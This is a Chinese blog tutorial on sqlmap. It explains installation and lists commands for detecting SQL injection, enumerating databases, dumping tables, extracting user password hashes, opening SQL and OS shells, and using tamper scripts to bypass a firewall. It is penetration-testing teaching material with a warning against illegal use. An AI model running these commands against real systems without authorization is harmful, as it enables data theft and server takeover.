SQLmap是渗透测试的常用工具之一,本文章就来介绍其基本用法。
SQLmap是一个自动化的SQL注入工具,其主要功能就是扫描发现并利用所给定的URL的SQL注入漏洞。
该工具支持的数据库有:MySQL,Oracle,PostgerSQL,Microsoft SQL Server,Microsoft Access,IBM DB2.SQLite,Firebird,Sybase以及SAP MaxDB
博主使用的是Kali Linux,该系统集成了该工具所以不用下载,但是对于其他系统的用户则需要下载该并安装该工具才可以使用。本工具需要python 3.x以下版本的python环境,下载并安装python,配置好python的环境变量后,去官网sqlmap官网下载点这里.将sqlmap下载并安装到python的安装目录下,并配置sqlmap的环境变量
下载并安装完该工具后,在kali系统下只需要打开终端使用sqlmap命令即可,但是在Windows上博主也没搞清楚,试了很多种方式但是依旧打不开,于是,博主便使用了快捷方式大法:如图创建一个cmd快捷方式即可:
在上面介绍了sqlmap的安装与打开,下面介绍基础语句、参数
判断目标是否存在注入:例如目标网址是(只是博主随意编的网址,如有雷同纯属巧合):http://192.168.13.104/语句如下:
sqlmap -u http://192.168.13.104/
如果URL的参数≥2则需加上双引号
博主所用的是kali系统,Windows系统如果采用快捷方式打开法语法同上。则在执行完该指令后,会得到一堆代码,则需要对代码进行分析。由于种种原因,博主不在这里晒出示例,尽量不运行检测命令,希望看到文章的不要将技术用于不法行为!
下面介绍简单的返回代码分析:
返回的代码需要分析三处:
第一处:第一处意思为检测到数据库可能为MySQL,是否检测其他数据库。
第二处:在“level 1 ,Risk 1”的情况下是否检测所有Payload(载荷)
第三处:意思是参数ID存在漏洞,是否检测其他参数,默认回车
查询当前用户下的所有数据库,语法如下:
sqlmap -u "URL" --dbs
获取数据库表名,语法如下:
sqlmap -u "URL" -D 数据库名 --tables
继续查询表内数据(字段)语法如下:
sqlmap -u "URL" -D 数据库名 -T 表名 --columns
继续查询字段内用户语法如下:
sqlmap -u "URL" -D 数据库名 -T 表名 -C 字段名 --dump
获取所有用户语法如下:
sqlmap -u "URL" --users
获取密码语法如下:
sqlmap -u "URL" --passwords
获取当前数据库名称:
sqlmap -u "URL" --current-db
获取当前数据库用户:
sqlmap -u "URL" --current-user
level参数:语法为在语句后加“–level 1~5”:该参数为探测等级,默认参数为1,扫描速度快,扫描的payload少,但是GET和POST是必测项,此参数会影响注入点。要是我我会选择高level值,使扫描更全面。在level参数大于3时,会尝试referer注入。
referer参数:在level参数大于三的时候,会尝试对referer进行注入,这时候可以使用referer参数进行请求伪造。
权限判断:使用此语句可以判断当前是不是数据库的管理员,语法如下:
--is-dba
返回Boolean类型值
列出管理员:当有权限时可以用如下的语句来列出网站管理员:
--roles(-U为具体用户)
执行指定SQL语句:用如下命令可以执行指定的SQL语句:
--sql-shell
执行操作系统指令:语法如下:
--os-cmd|--os-shell
试探安全防护:语法如下
--identify-waf
tamper绕过脚本:该工具自带tamper绕过脚本,博主整理了所有常用的绕过脚本,下面呈上图片:(由于工作量太大,博主并未对其绕过方法进行描述,只对针对某些数据库某些版本的脚本进行了标注):
s
这篇文章到这里就结束了,喜欢的关注我、点个赞,有不足请评论区友善交流